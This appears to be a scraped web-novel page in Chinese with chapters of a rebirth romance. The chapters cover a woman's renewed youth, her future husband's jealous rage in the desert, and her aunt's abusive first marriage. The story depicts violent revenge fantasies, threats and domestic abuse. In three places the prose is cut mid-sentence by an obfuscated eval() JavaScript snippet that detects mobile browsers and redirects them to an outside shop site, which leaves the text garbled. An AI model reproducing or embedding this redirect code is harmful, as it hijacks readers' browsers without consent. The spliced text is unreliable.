这是她的少女闺房,里面的陈设摆件大多也都充满了粉红泡泡似的少女情怀,多的是她过去搜集的各种小东西,整个房间柔软得像天边一团棉花糖似的云朵。 她忽然对许多东西都感到十分厌烦,比如那些水钻的手链,五颜六色的笔,带着蝴蝶结的发绳,一抽屉印着各种卡通玩偶的香氛手帕纸,HelloKitty的粉红色水杯,各种明信片和永远写不完的精致笔记本。 还有堆满她半边大床的各种迪士尼毛绒玩偶、她从小到大玩过的芭比娃娃。 那些玩偶中很多还是之前她小时候爸妈在国外买来的正版最新款,然后寄回国内送给她的。 可现在这些都令她感到厌烦和无用。 记忆中后来三十八岁的她生活格外简单,简单到堪称寡淡。她早已放弃了这些小女孩的审美与喜好。 后来她在大学任教时,有时在教学楼的楼道里听到那些年轻的女孩子们叽叽喳喳地讨论着什么星黛露或是玲娜贝儿,而她则甚至连那两只玩偶都分不清了。 章矜之从床上坐了起来,盯着自己身侧那一排排的大玩偶,心里犹豫着要不要索性把它们全都打包送了她家里的那些小弟弟小妹妹们。 可转瞬间,她又想起了曾经韩复宇对她说过的话。 前世她和韩复宇聊天时无奈吐露过心声,她说,哥哥,我觉得我现在的心已经老了,学校里的女孩子们讨论的话题我居然什么也听不懂了。 韩复宇说:“你不是心老了,你才三十多岁,哪来这样老气横秋的样子?我现在给你五万块钱,你去迪士尼里面痛痛快快玩两天,我保证你什么星露露玲娜娜都分得清清楚楚。” “但你不会去的,我知道你不会去,你会选择放任你自己继续这样老气横秋下去。你为什么不去?因为程愈川,因为他让你的心太疲惫了,你觉得一切都没有意思。矜之,你为什么要这样惩罚自己,让自己不开心?” 思来想去,她沉沉吐出一口浊气,还是选择保持了现状,安心接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056393|194856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受自己十五六岁应有的模样。 重新享受一遍难得的青春,是上天的恩赐,而不是衰老的自己对年轻自己的惩罚,不是吗? 也正在这时,她放在床头的手机忽然震动了一下,提示有新消息进来。 章矜之拿起手机看了下,发现是她小姨纪湉给她的回复,她眉眼也不禁柔和了下来。 今晚在外婆家家庭聚餐的时候,小姨并未参加。 这也是她多年来一贯的风格,别说是普通的家庭聚餐了,很多时候她连过年的除夕夜都执意一个人过,不肯出来见人。 今天上午时候章矜之就给她发了消息,说她很想念她,希望这两天什么时候有空可以去看看她,她还给她带了在东京和游轮上买的纪念品礼物。 她妈妈纪凝没有说要和她一起去看纪湉,并非妈妈不牵挂这个妹妹,而是不想给纪湉太大的压力。 面对那些见证过她失败婚姻惨状的亲人,纪湉难免会勾起往事心结,情绪不在状态。 只有章矜之这样的晚辈孩子去看看她,多数时候她才愿意见人,也没有那么大的负担。 直到晚上,纪湉才回了她消息: “好的,谢谢宝宝来看我,小姨也好想你了,小姨给你准备了你爱吃的菜,明天来小姨家里吃午饭好不好?” 章矜之知道纪湉为什么这么晚才回复她消息。 因为在上午收到她发来的信息后,纪湉为了招待她,不得不逼着自己出门精心选购食材,准备明天的午餐。 但这对她来说已经变成了一件十分困难的事情,她一定在家里犹豫了很久,用了很大的勇气才好不容易迈出的这一步。 章矜之火速回复了一个好,“小姨我好爱你,这么多天没见到你,我真的想死你啦。” 岂止是这么多天没见过? 她们是很多很多年都没有见过了。 说起来,前世的章矜之直到三十八岁那年都没有真正体验过几次亲人生离死别的痛苦。 后来她高龄的爷爷奶奶、外公外婆他们,都在程愈川安排的顶尖私人医院里被一群专门的医护人员看顾着,健健康康地长寿着。 哪怕到了她三十八岁那一年,她记忆中唯一失去了的亲人也只有纪湉。 给小姨回完消息后,她又点进Q.Q里面,尝试着以一个十六七岁少女的状态发了条Q.Q动态,配上几张在游轮上拍的照片,同时回复了几个同学和朋友的消息。 游轮上几乎少有信号,是以一连十几天来,章矜之的手机上少不了积攒了不少未读的各种信息。 尼克也给她发了问候的消息,他还备上了一句: “这个Q.Q号是为了和你联系才专门申请的,里面的联系人只有你一个。” 二十分钟后,他又补充了一句:“哈哈,其实还有我的好哥们韩复宇。” 章矜之懒得搭理,没回他。 她指尖在屏幕上滑动的动作微顿,因为她还看到了程愈川给她发来的上百条消息。 他和她说话的语气堪称是小心翼翼,珍而重之,把她捧在手心里一般对待,并且由于前面的消息没有得到她的回复,后面他越发将自己的姿态放的卑微到尘埃里了。 ……看到这些消息的时候,章矜之才无比确认,原来这个男人曾经的确是爱过自己的,他曾经对她确实很好。 原来他们真的有过美好的爱情时光。 他不像后来那样冷漠和不耐烦。 他曾经的确将她视作自己心尖上的女神,追求的时候用尽了心血和精力,但后来他不再是那个穷小子了,他已完完全全得到了她,不论是身体还是名分,他都得到了。 于是她也就从他的女神,变成了他附属品中的一个女人。 一字之差,天壤之别。 也只有在没有得到的时候,他对她才有这样的耐心和热情。等后来腻味了,他连多看她一眼都觉得烦。 后来那几年里,他一整年加起来主动给她发的消息都没有这一半多。 别说主动给她发消息了,让他按时回她的消息都跟要了他命似的难。 11.蛾眉月 久违地收到他用Q.Q给她发消息,让章矜之都不由又感到一阵恍惚。 这些消息里有她在上游轮旅行之前就他发给她的,也有最近几天发来的,但她一条都没有回复过,她也不准备回。 不会回复,但她也不会拉黑他。 因为她不想再施舍半点眼神给这种人,主动拉黑他都算是她给他什么回应了,而她要做的就是一点反应都不给,就像他从来都不存在那样。 本来就没有什么重要的事情,大抵都是些青春暧昧期的少男少女互相问候闲聊的信息,她回不回也没什么所谓。 程愈川的Q.Q头像很简单,是一片漆黑的夜空,夜空里有一弯明月,是弯弯的蛾眉月。 这张照片他用了很多年都没有换过,是他一直以来的Q.Q头像,也是他后来在其他所有社媒上的头像。 章矜之从前从未好奇过他为何对这弯蛾眉月的月相照片情有独钟。 还是后来很久之后,她有次无意间刷到一个推广营销的链接,说在这个APP里面可以输入你的出生年月日和地区,甚至可以精确到你出生的那一分钟,然后就能在这个APP里看到你出生那一刻的月亮照片。 那个APP的广告里还说,这些月相照片都来自权威机构提供的数十年如一日的观察数据,绝对准确可靠,绝对是专属于你的独一份的浪漫。 章矜之也是一时好奇,便输入了自己的出生年月和时刻,结果APP在短暂的加载过后,跳出来的便是程愈川头像的那张月相图。 弯弯的,细细的,一钩残月如蛾眉。 是独属于她出生那一刻的月亮,皎皎白月光。 后来程愈川大学选的也是天文学专业。他大约的确对天文有过兴趣,大学选这个专业则纯粹为了爱好,毕业后他从事的工作便和专业毫无关系了。 · 深夜11点,远在罗布泊的程愈川又刚刚结束了一趟深入无人区上百公里的长途补给工作。 他已经一天多没有闭过眼了,连轴转的繁重工作和穿梭于盛夏无人区之间遭受的酷暑折磨,令他此刻身心俱疲。 他身上是浓重的油灰汗渍,整个人灰头土脸的,各种难闻发酸的味道交杂在一起让他的大脑阵阵抽痛。 老师傅开着车疾驶在荒漠间,惨淡的月亮在天地间洒下一层寂寥的冷光。 不过这些都是值得的。 他想到了章矜之。 章矜之是6月28日的生日,然而他今年还没能为她送上一份像样的生日礼物。 他想送她一条Tiffany的项链,心形镶钻的款式。 他不是不知道这样价位的奢侈品对他来说有多自不量力,但只要想到章矜之,对她那如同身体本能的喜欢与爱意,让他就是忍不住想不惜一切代价地给她最好的。 他一定要给她最好的、最贵的。 程愈川摸了摸自己内衬口袋里的那一沓钱,心中默算了一遍,加上从上次那个对着他乱开枪的土老板那里勒索来的钱,他终于确信他已经有了足够的钱去给她买礼物了。 高二一整年的学费杂费生活费,还有给干爷爷的钱、干爷爷的买药钱,还有支撑他体面地谈一场青春懵懂恋爱的钱。 他要在一个暑假里全都赚来。 在这一刻,他很想念她。他很想见她。 章矜之从未主动向他索取过什么,以她的家世,她也不缺他给的这三瓜两枣的。 这都是他自愿为她做的,他无意将自己的困顿和劳累归咎于“谈了恋爱”,这仿佛是一个无能的男人把自己与生俱来的贫穷怪罪到一个无辜的女孩身上。 可事实上,的确是因为这段朦胧青涩的暧昧情意,让他心甘情愿为了她做一切事情。 这是他自己心甘情愿的。 一想到还有两三个星期,只要开学后他便能再见到她,他也忍不住慢慢露出一个极淡的微笑。 可是忽然,又想到他大半个月来接连发出去的没有得到她回复的那些消息,他的心又惶恐起来。 他不知道到底发生了什么,是她父母发现了他们的关系,不允许她和他联系,还是因为他说错了什么话惹了她生气,让她这样冷落他? 思来想去后,前者的可能又被他排除了,他想,假使真的是她的父母发现了,那她父母一定会勒令她删除拉黑他的联系方式,他应该不能再给她发消息的。 可他的消息分明一条条成功发了过去,是她没有回。 是她选择了不回他。 那么,真的是他哪里惹她生气了吗? 这些天来,这个念头折磨得他日夜难安,但凡他有片刻的空闲,他的头脑里就在不停地继续盘算这件事,想得他诚恐诚惶,忐忑不安。 回到他们在无人区边缘的住处时已是凌晨时分,天际都将要泛起白来。 程愈川随意冲了冲冷水,洗去一身油污,而后便回到自己暂住的房间里倒下补眠。 他们今天短暂休整后,下午还要再去给另外一只私人穿越小队补给燃油,又是一百多公里的路程。 他只有不到五个小时的休息时间。 恰也正是在将要入睡前,在这勉强有信号但信号并不好的地方,他又打开了自己的手机,点进Q.Q页面,查看了一下和章矜之的聊天框。 程愈川发现章矜之换了头像,状态显示在线,但他发出去的消息依然是石沉大海,得不到半点回复,像是他一个人在唱的尴尬独角戏。 他的心再度往下沉了沉,仿佛一下沉到了底,还隐隐砸出了痛的滋味。 之前他还曾努力说服自己,说或许是她假期太忙,没有看手机,没有登陆Q.Q,所以才没有看到他的消息的。 现在看来,也并非如此。 Q.Q页面刷新了一下,忽然弹出来一条新的提示,是章矜之昨天晚上发了条空间动态。 他手指颤抖地立马点了进去,看到那条动态是九宫格的图片,配上的文案是一句音乐剧的台词: “重寻自我,再度相逢。” 图片都是她在一艘游轮上度假时拍摄的照片,有海上的日落月升,有美食甜点,还有她偶遇的一只别的游客的可爱萨摩耶。 当中那张是她自己的照片,她姿态随意而青春,修身白色T恤,牛仔短裙,扎着马尾辫。 她露着一寸雪白纤细的腰肢,及膝短裙下一双修长漂亮的白皙双腿随意交叠着,她散漫地靠在游轮的玻璃窗上,狮子猫一般灵俏而慵懒的眼睛,含着一点笑意望向那个举起相机为她拍照的人。 在她身后的背景是万丈碧海晴天,无边明媚夏日。 程愈川愣愣地盯着这张照片看了许久,说不出心里是个什么滋味。 但他确信他的确感到有些心酸和忌恨,因为他恨那个陪在她身边见证了她美丽的人不是他。 他也想能这样陪在她身边,拥有她目光的注视,亲手拍下她最美丽的照片。 其实原本到这里时,程愈川的情绪还没有那么糟糕,他大概已经确定了章矜之是在和他闹情绪才不肯回他的消息,但也仅此而已。 直到他退出那张放大的照片,不经意地瞥了一眼这条动态的点赞和评论页面时,他浑身都僵硬了片刻,一股名为忌恨和愤怒的火气瞬间蔓延他全身。 一个昵称为“Nick”的男生评论了她: “Nina说哈苏相机下的葡萄仙子姐姐更漂亮,下次她还要帮你拍照。” 附带了一张章矜之的照片,她置身于一间奢华的私密包厢里,披着柔顺如丝缎般的长发,葡萄紫的连衣裙,笑意温婉。 她头上顶着一只葡萄形状的毛绒玩偶,手里捏着一颗圆润润的紫色葡萄,娇俏地挡住了自己的一只眼睛,说不出的楚楚动人。 章矜之回复:“帮我谢谢妮娜。” Nick又说:“妮娜说下次还想给你拍照。” 章矜之回:“好呀,我也期待下次再见到最可爱的妮娜宝贝。” 程愈川看着他们两人有来有回的对话,一口气险些没有喘的上来,手指颤抖得也更加厉害了。 他有种无法言说的敏锐直觉,直觉令他对那个他见都没有见过一面的“Nick”产生了深深的厌恶和痛恨。 他才是章矜之的男朋友,都是这个年纪的男生,他怎么可能看不出Nick的小心思? 但更令他喘不过气的还在下面。 李昊睿也点赞了她的动态,并且还评论了一句:“那鸡尾酒好喝吗?” 章矜之在三分钟后回复:“有个叫伊万诺维奇的告诉我说,其实这是果汁汽水兑的那个娃哈哈哈哈~” 动态下面其实还有各种别人的评论,章矜之都一条条有耐心地回复了下去,和大家都聊得十分和气。 然而程愈川在看到李昊睿的头像时,他的心都忽地冷了大半。 Nick让他忌恨和不甘,李昊睿令他感到无边的屈辱和愤怒。 ——李昊睿是他和章矜之高一时的同班同学,他和李昊睿有过过节,甚至私下还打过一架,属于闹到堪称老死不相往来的仇人的地步的。 李昊睿是个富二代二世祖,素来脾气就不太好。 偏偏高一开学前军训的时候,他和李昊睿正好被分到一个组里,那时候军训还要求去基地住宿一周,他便和李昊睿待过一个宿舍。 军训的时候李昊睿私自带了个苹果手机进去,结果在宿舍不小心丢了,这个二世祖就在宿舍发疯,非说他怀疑是程愈川偷的,因为同宿舍的其他几个人家境都还不错,没有偷别人手机的动机,只有程愈川这个衣衫简朴的穷小子遭了他怀疑。 他理直气壮地过来质问程愈川,程愈川也不惯着他,连理都懒得搭理他。 两人一来二去推推搡搡地就在宿舍打了起来,打得愈发厉害,李昊睿这种二世祖又哪是程愈川的对手,也亏他还敢上前主动挑衅,三两下就被程愈川按倒在了地上,被打得狼狈如落水狗一般,同宿舍其他几个男生想拉架都拉不住程愈川。 终于有人跑去报告了教官,把教官给喊来了。结果教官把他们两人分开之后,没两下就在李昊睿自己的床铺床板底下找到了这部手机,并且教官还把这事儿原原本本地上报了班主任。 班主任当然只觉得是李昊睿的错,于是把这个二世祖训了一顿,还叫来了李昊睿的父母说明情况。 然而二世祖李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17063915|194856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昊睿的爹妈还和班主任杠上了,又把矛头直指程愈川: “王老师,我们昊睿带手机归带手机的事情,你们该怎么处理怎么处理,那那个学生和我们昊睿打架呢?难道你们就不处理了吗?我们昊睿啊,被那个学生打成那样,一个宿舍同学都看见的,这种学生你们就不处理了吗?俗话还说呢,一个巴掌拍不响,难道有了错你们就处罚我们昊睿一个人吗?” 王老师被气得不行,但还是压低声音和二世祖爹妈解释了一番程愈川的身世,大概意思是,这件事本来就是因李昊睿而起,人家学生家里已经这么不容易了,你们还去招惹人家,你们现在能不能息事宁人别再挑事了? 其实按理来说,班主任是不应该把别的学生家里的情况告诉其他家长的,但这个王老师从教多年来遇到的家长基本都是通情达理的,加上他的确有心偏护程愈川,觉得程愈川实在无辜又可怜,又是中考状元考上来的,和李昊睿这种二世祖在老师心中的地位实在不能相提并论。 所以他也是被李昊睿爹妈气着了,这才一时口不择言说了出来。 二世祖爹妈表面装作大度,说了一句“这孩子没爹没妈也可怜”后就不再纠缠此事,转头二世祖李昊睿就把程愈川家里那点事在班上全宣扬开了,王老师都被气个半死。 这件事班里一圈的同学几乎都知道。 章矜之更不可能不知道。 她曾经还和他说,她已经删了李昊睿了。 那现在这个人为什么出现在她的空间动态点赞栏里? 为什么李昊睿还会去评论她的动态,为什么她还会回复? 而且,还是用这样娇俏的语气,回复她男朋友的仇家的评论。 她又将他置于何地?! 尤其是这些都发生在她不回他消息的基础之上,李昊睿的评论她三分钟就回复了,而他发去的消息她至今没有回复半个字。 这更让他感到前所未有的、无能为力的屈辱。 这条动态下面的点赞评论大多都是他认识的高一的同班同学,看着这人来人往的热闹非凡,身在荒漠的他更觉无边孤单冷寂,仿佛自己的确被整个世界给抛弃了。 …… 到底是十几岁的少年人,在这个时候,章矜之就是他惨淡人生里最重要的一束月光,他把她看得太重太重,所以只要被伤到了,那就是最不得了的头破血流的皮肉之苦。 他从前从未觉得自己是小肚鸡肠斤斤计较之人,也鲜少为旁人而产生情绪的波动。 小时候刚跟着干爷爷来到许江市的乡下读书时,村里的几个小孩欺负他听不懂本地方言,追着骂他是没有爹妈的流浪狗,他却能无动于衷地不理睬这些人,心平气和地待在家里写着自己的作业。 只有章矜之轻而易举就能勾出他人性最阴暗恐怖恶毒的那一面。 久久看着屏幕的眼睛已经因为布满了红血丝而干涩疼痛,但他仍像自虐一般死死盯着照片里章矜之的笑颜。 他的心是丑陋的。 身体在颤抖,他心中冒出无边无际残暴的想法。 他想,假如那个尼克和李昊睿现在就站在他身边,在这无人问津、少有人踏足的荒漠里,在这没有监控的地方,他恨不得直接杀了他们,把他们弃尸荒野,反正谁也查不到是他干的,他不用为此付出任何代价。 他不仅要杀了他们,他还会把他们大卸八块,让他们用最痛苦的方法死去,以此来宣泄他的愤怒。 ——许多人在极致怒火之下,心里都有过这种放纵于法律约束之外的恐怖念头的,是吗? 只是想一想而已,程愈川想,他并不过分。 至于章矜之…… 他喉结滚动,粗喘了口气。他自有惩罚她的法子。 他会把她关在这里,关在自己身边,直到天荒地老,让她眼里只看得见他一个人,只有他陪着她,只有他给她拍照,旁人都不行。 在怒意的反复冲刷下,他几乎已经忘却了身体的劳累和疲乏,他睁着这双眼睛,在这离她数千里之外的罗布泊,他今夜再难安眠了。 短暂闭了闭眸,程愈川眼前浮现的又是章矜之那条动态里晒出的照片。 她露出的那截纤细雪艳的腰肢,笔直修长的双腿,柔顺浓密的长发,还有她精致的容颜…… 无边的怒气和恨意渐渐又转化为了某种难言的少年冲动,血气方刚的年纪里,这种冲动甚至比怒火来的还更为澎湃。 最终还是抵不过生理的本能,他神色冷峻地仰首靠在冰冷的墙壁上,扯开了被紧绷住的黑色工装裤的腰带。 他从前一直竭力阻止自己在某些时刻这样去幻想她,他觉得这是对她的亵渎。 但今夜例外。因为他有点恨她了,她必须在他的幻想里接受惩罚,她应该哭泣哽咽,喘息求饶,祈求他的原谅。 堕落沉沦的同时他又在想念她,卑微地在心底祈求她的爱,爱也好,恨也罢,总归都是她。 良久之后,身体的怒气纾解了,他终于沉沉呼出一口粗重的气。 他想,他还是要赚更多更多的钱。只有他有了更多的钱,他才能去做所有他想做的事情。他才能得到她,才会和她有将来。 12.纪湉 早上九点,家里的司机郑叔开车送章矜之去小姨纪湉的家里,纪凝也让章矜之带去了一些她给纪湉准备的礼物,还有转达她对妹妹纪湉的问候。 等章矜之到纪湉家时,已经是十点多了。 纪湉住在许江市另一片城区某小区的僻静一隅,房子是一楼带院子的布局,离婚后她就一直孤身住在这里。 这房子是纪家人按照她的要求特意为她挑选的,外公外婆为她付全款购置了下来。 选择这种带院子的房子,家人的初衷就是希望她有空可以在自己院子里晒晒太阳,别整天闷在屋子里。 哪怕能让她出门晒晒太阳,也是好的。 但对纪湉来说,这种效果似乎并不大,她仍然常年闭门不出,不肯出面去见外人,就连平日要用到的米面粮油果蔬和各种生活用品,多数也是她自己打电话请人送上门来的。 为什么纪湉的心理疾病和抑郁症发展到了这种地步? 因为她前夫,因为她那场失败的婚姻。 前世里外公外婆一家人都对小姨的事情讳莫如深,在章矜之这种小辈面前更是提也不提。 而纪湉离婚时章矜之还小呢,对那个前小姨父更是一点印象都没有。——她记忆里好像从来都没有见过那个前姨父的面。 还是后来小姨自杀去世后,章矜之才从外婆趴在小姨冰棺前的哭诉声中得知了一切原委。 纪湉那场婚姻的来龙去脉。 纪湉从小便生得纤细而美丽,不同于姐姐纪凝在学业、尤其是英语上的突出成绩,纪湉性情安静而细腻,有着更强的艺术天赋,从小便是学跳古典舞长大的。 高中毕业后,她被全国最好的舞蹈学院录取,前往京城读了大学。 大学期间,纪湉先后谈了两场恋爱。 第一场恋爱是她在隔壁某军校认识的一个男生,那是她的初恋,对方比她大一两岁,两人恋爱期间感情也很好,纪湉时常从北京寄信给姐姐纪凝,话里话外说起她的男朋友都是甜蜜的语气。 但这段恋情最后却无疾而终了,而且还是戛然而止的那种无疾而终。 那个年代里,军校的那个男生读的是被精挑细选地选拔上来的特殊人才队伍班,只等他一毕业了,他就有部队里派给他的任务要去做,了不得要和纪湉聚少离多,甚至都不是轻而易举随便就能联系上的。 在纪湉大学还没读完时,对方就进了部队的特殊单位里服役,从此和她分开了。 那男人对她还是很不错的,每个月的工资大部分都直接打给纪湉当零花钱,对她也是献上了十足的诚意。 可是老这么下去,两人总见不着面,感情自然还是出了问题。 纪湉生得极美,大学时候身边从来不缺追求她的狂蜂浪蝶,献殷勤者更是不在少数,从前她男朋友还在她身边时都没少吃醋。 现在她男朋友远在部队里,想到这些心里只会更难受不是滋味,往往好不容易在部队里能有个和纪湉通电话的机会,两人说着说着就吵起架来了。 纪湉怨男朋友陪伴她的时间少、管得还多,男朋友也不满她身边来来往往众多的追求者。 到底那时候两人还年轻,一来二去的,恋爱关系便这么吵崩了。 ——你怀疑我不够爱你,我怀疑你不够忠诚。 加上当时她男朋友似乎在忙一个特殊任务,一连几个月都没法和她联系,两人之间连联系都断了。 大学毕业前,终于还是纪湉忍不住给男朋友的单位那边回拨了一个电话, 电话那头的声音却十分冰冷: “他被调去上级保密单位了,其他任何信息我们都无法告知,麻烦以后不要再拨打此号码。” 她心一冷,也是一时任性,挂断电话后就再也没有想过去找这个人。 直到那个月时,她男朋友还是照例给她打来工资钱的。 她以为那是他们恋爱关系依然存续的象征。 但那天之后,纪湉把卡里他打来的每一笔钱都退了回去,然后一声不吭地注销了自己的那张银行卡,主动和他断了。 她把前男友曾经买来送给她的值钱的首饰珠宝也一一取出包好,把他曾送她的其他礼物清算了原价,连钱带东西一起交到了军校的某个领导手里,请那位领导如若知晓他的行踪,务必将这些还到他手里。 那领导也是她前男友在军校的老师,他还带她参加过这个老师的家宴。 老领导叹了口气:“其实你和小蒋,多般配啊……” 当时的那个年代还远不如如今的社交通讯发达,纪湉和对方谈恋爱时,社会上大部分人都没有自己的移动电话和手机号,所以茫茫人海中,往往和谁错过了就是真的错过了。 也是在那之后,她开启了她的第二段恋爱。 对方是一个追求她许久的隔壁省官二代,和她年龄相仿,追求态度热忱,家境优渥,甚至家里还有关系能打点打点她在当地的工作,于她而言方方面面都堪称是“上嫁”。 她嫁了,她自己愿意嫁,她家里也都支持她嫁,大家都觉得她嫁了就会幸福的。 可是事实呢,是嫁了之后才知道什么是“上嫁吞针”。 结婚没两年,丈夫的花花肠子便暴露了出来,不务正业,东游西荡,整日只知和一群狐朋狗友到处“有个饭局”,回来的时候便是一身难闻的酒味香水味化妆品味。 先时纪湉还敢呛声几句,但慢慢地在这婆家也不敢了。 她一人孤身嫁来别人家里,这上上下下一大家子的人暗地里都挤兑她,小到桌上的饭菜、平日里的饮食习惯,大到家中里里外外各项要紧的事情,她都被这些人隐晦地排挤在外。 这种温水煮青蛙一般受尽煎熬委屈的苦楚,若不是亲身在婚姻里经历过的女人,大抵是不能领会其中的恶心之处的。 于纪湉来说,更悲惨的就是连丈夫慢慢地都不跟她在一条心上了。 追求她的时候,她丈夫是北京城里风华正茂接受过良好教育的同龄大学生,读的是国内外文学名著,开口谈的是风花雪月,真是一片现代社会才子佳人好光景。 可结了婚、回到了老家的男人就不是这样的了。 在他的家里,在他的爷爷奶奶父母家中兄弟姐妹们面前,他是土生土长的土太子,是尊贵之人,是万金龙体,是这微型家族式封建社会里最说一不二的存在。 在他们看来,纪湉,应该学会摆正自己作为保姆和附属品的地位。 他们不是平等的,纪湉也不能再像从前大学时候那样给他甩脸色看。 但凡纪湉惹了他的不痛快,后来被拳脚相加更是家常便饭之事。 婚变随之陡然发生在一个恐怖的黄昏。 那天她丈夫不在家中,丈夫的一个堂兄醉醺醺地摸到她的房间里,醉眼迷离摇摇晃晃地和她搭讪起来,说着不三不四毫无瓜葛的闲话。 纪湉紧绷着身体维持表面的客气,和他说了两三句话后转身就要走,却被那堂兄一把从背后抱住,猥琐地对她动起手来。 纪湉被吓坏了,奋力反抗起来,尖声叫人,终于把在楼下客厅里的堂嫂和婆婆等人给喊了过来,她这才得以解脱,瘫软地跪倒在地上解释说她被堂兄酒后骚扰了。 谁料想那堂嫂倒是个暴脾气,恐怕先前这堂兄私下就多看过纪湉几眼,惹了自家老婆不痛快,一朝闹出这丑事来,堂嫂更是家丑不怕外扬,没理也要闹三分,哭爹喊娘地叫唤起来,说是纪湉不检点,是纪湉勾搭了她的男人,做出这样不要脸面的事来。 闹到纪湉的丈夫也回来了,阖家上下众人面色沉沉,温言软语哄孩子一般哄着喝醉酒的堂兄下去醒酒歇息,反倒把审视的目光对准了纪湉。 她丈夫回来时也是一身酒味,见此,气不打一处来,红着脸大着舌头当着一家子的面就对纪湉连拉带拽地殴打起来。 纪湉想逃,慌不择路地往外面跑,丈夫便扯着她的衣裳追着她打。 边上的堂嫂还跟着拉扯了她两番,一路拍手叫好,不忘哭喊自己男人冤枉,说纪湉才是那个不要脸的荡/妇。 等闹到外头时,纪湉身上的衣服已被扯得七零八落,衣不蔽体,分外狼狈,甚至还有过路人驻足围观。 那是她人生中最黑暗、最恐怖的一天。 她哭着环抱双臂想要遮挡自己裸露的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068443|194856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体,可迎头就是堂嫂喷洒的唾沫星子、丈夫那如雨点般落下的拳头、周遭其他男人戏弄玩味的眼光。 她的前半生就死在了那一天。她还因此流产了,失去了她的第一个孩子。 在这之前,虽然她在婚姻里过得并不幸福,但因是她自己的选择,她觉得是自己自作自受,她也不敢对家里的父母哥哥姐姐诉苦,一贯只说自己过得很好。 可那天之后,刚在医院做完了手术,纪湉就不顾一切地连夜坐火车哭着回到了纪家,扑进了父母的怀里,浑身颤抖着说要离婚。 她前夫家在当地颇有点势力,耀武扬威地说不肯离婚,还屡屡找人到纪湉娘家闹事来,说要把纪湉带回去,又诬陷说纪湉偷了婆家的钱补贴娘家,还叫纪家还钱来。 纪湉怎么敢再回去? 最后还是姐姐纪凝和姐夫章起卫帮她摆平了这事。 当时纪凝和章起卫在一家外企任高管,纪湉的离婚官司闹了大半年后,正好这家企业在纪湉前婆家那里有个引进外商的投资,是当地一个很重要的项目。 纪凝和章起卫连夜飞回国内,拉着公司的几个高管,请当地单位里的几个领导吃了顿饭,饭局上委婉提了几句,几个领导会意后,层层传达下去,总算把话传到纪湉前夫家那里: “算了罢,好聚好散吧,你们说是不是啊?” 这才给纪湉换来一本离婚证和前婆家永不再骚扰的承诺。 但也仅此而已。 纪凝和章起卫费了这么大的力气,也只给她换来了离婚,甚至还是不能给她讨回一句道歉。 后来真的给纪湉报了仇的,居然是她那根本没见过几面的外甥女婿。 是前外甥女婿。 纪湉死后,章矜之伤心抑郁了许久,程愈川这才从她那里隐约知道了点纪湉的过去,他这种人一朝上位对待仇家的手段速来以赶尽杀绝为主,多的是章矜之从前想都不敢想过的残忍暴虐。 为了哄章矜之高兴点,在章矜之自己完全不知情的情况下,他花了重金找人打点布局,中间人把纪湉的前夫和前夫家里的几个兄弟骗到了国外去,然后让人在国外把他们给…… 他还找人掀了纪湉前婆家的老底,搜罗了他们的把柄,把他们家这么多年的丑事给抖落了出来,闹得这家人终于倒了运,没死在国外的人,在国内也都收拾收拾蹲监狱去了。 可那时纪湉已经死了。 她还能看到这些吗? 纪湉看不到这些,章矜之是看到了。 所以后面感情破裂时,程愈川还对她放过话: “就算你能跟我离婚,你又能嫁给谁?你嫁给谁,我就让谁跟你小姨的前夫一家一个死法。你可以试试我是不是在跟你开玩笑。” “到头来,你还不是只能回到我身边?” 以至于章矜之有段时间都会怀疑,她家里人之所以都不准她和程愈川离婚,未必单纯是为了图财,说不定还是惜命呢。 谁知道这种疯子被逼急了能干出点什么事来。 · 也是从前婆家逃回来后,纪湉就开始了这种不见外人的独居生活。 她患上了严重的心理疾病,只要一出去见人,她就会想到那个衣不蔽体毫无尊严的自己。 她不肯见人。 这些年里,纪家人心疼纪湉,也都是由着她这样下去的。 他们没想着再去开导纪湉,不是不在意她,只是担心适得其反,担心揭了她的伤疤反而会让她的病情会更严重。 家里人都想着,就这样让纪湉安心静养着,说不定再过几年、再过几年,她就会好了呢? 大家都在心里想,别逼她了,别逼她出去了,这样就挺好的。 只有重生过的章矜之知道这条路走错了。 ——他们还是应该想办法让小姨走出来,只有解决掉痛苦,越过痛苦,她才能在自己的人生里真的活下来。 小姨是这样的,她自己也是这样的。 章矜之想,假如她不能解决掉前世婚姻不幸给她带来的痛苦,假如她不能越过这些痛苦,那么哪怕是重来一世,她也不过是多做了一世的怨妇而已。 13.有缘无分 章矜之见到纪湉时,纪湉正在厨房里忙着准备她们两人的午餐。 她穿着一件薄薄的纯白真丝长袖衬衫,质地柔顺的米白色半身裙,随意挽着长发,有几缕发丝低垂,她像一朵烟雨朦胧里的栀子花。 